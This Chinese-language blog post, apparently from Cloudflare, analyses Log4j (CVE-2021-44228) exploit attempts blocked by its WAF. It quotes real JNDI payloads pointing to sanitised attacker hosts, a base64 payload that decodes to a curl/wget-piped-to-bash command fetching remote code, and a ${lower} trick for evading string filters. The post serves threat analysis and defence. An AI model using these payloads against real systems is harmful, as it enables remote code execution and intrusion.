我不久前曾寫到有關如何緩解 Log4j 中的 CVE-2021-44228、漏洞的緣由以及 Cloudflare 為客戶提供的緩解措施。正如我所寫到的，由於漏洞的嚴重性，我們正推出針對我們「免費」客戶的保護。
我們現在有很多小時的掃描和嘗試入侵的相關資料，我們可以開始探討外部和統計資料中正使用的實際負載。我們從 Cloudflare 透過 WAF 封鎖的請求開始。
今天早上（本文採用 UTC 時間）我們看到封鎖的攻擊中的慢速入口，最大峰值大約 1800（約每分鐘 20,000 個封鎖的惡意探索請求）。但掃描已持續了一整天。我們期待掃描繼續。
我們也查看了 WAF 封鎖的 IP 位址數目。在任何給定時間，主動掃描的 IP 數都在 200 到 400 之間。
到目前為止，最多的掃描或嘗試入侵次數來自加拿大，其次是美國。
很多遭到封鎖的請求都是以偵察的形式查看伺服器是否真的有漏洞。封鎖次數最高的惡意探索字串如下（我全程使用處理過的網域名稱和 IP 位址）：
${jndi:ldap://x.x.x.x/#Touch}
看起來像是在攻擊位於 x.x.x.x 處伺服器的簡易方式，毫無疑問，執行者會控制此攻擊並記錄網際網路財產可入侵。這不會告知執行者更多資訊。第二熱門的請求包含以下內容：
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
這出現在請求的 User-Agent 欄位中。請注意在 URI 的末尾寫著 /ua。顯然，這表明該執行者試圖在 User-Agent 中利用漏洞。
另一個令人關注的負載顯示，執行者所用的格式十分詳細（在此情況中是到連接埠 443 的未加密請求，而且他們正嘗試使用 http://)：
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
有人試著假裝是 Googlebot 並納入一些額外的資訊。
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
在下面的情況中，執行者正攻擊公用 Cloudflare IP，然後將該 IP 位址編碼到惡意探索負載中。那樣他們可以掃描多個 IP，並找出哪一個更容易進行攻擊。
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
該配置的變體是在惡意探索負載中包含受攻擊網站的名稱。
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
有些執行者不使用 LDAP，而使用 DNS。但 LDAP 是到目前為止最常用的通訊協定。
${jndi:dns://aeutbj.example.com/ext}
一次非常有趣的掃描涉及到使用 Java 和標準 Linux 命令列工具。負載看起來像這樣：
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
base64 編碼的部份解碼為 curl 和透過管道進入 bash 的 wget。
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
請注意，不需要來自 curl/wget 的輸出，因此這只是攻擊伺服器，向執行者表示惡意探索起作用。
最後，我們看到一些執行者使用 Log4j 的其他功能，主動嘗試閃避過度簡單的字串封鎖，例如 ${jndi:ldap。舉例來說，常見的閃避技術使用如下所示的 ${lower} 功能（小寫字元）：
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
此時似乎有很多偵察正在進行。不論是好的還是壞的執行者都在掃描全世界易受攻擊的伺服器。最後，其中的一些偵察將轉為對伺服器和公司的實際入侵。而且，由於記錄已如此深入的嵌入前端和後端系統中，其中一些記錄可能在幾小時或幾天之內都不易發覺。
就像孢子在地下默默生長一樣，有些會穿透土壤進入地上。
由於入侵嘗試的演變，Cloudflare 的安全團隊正持續工作，並將視需要更新 WAF 和防火牆規則。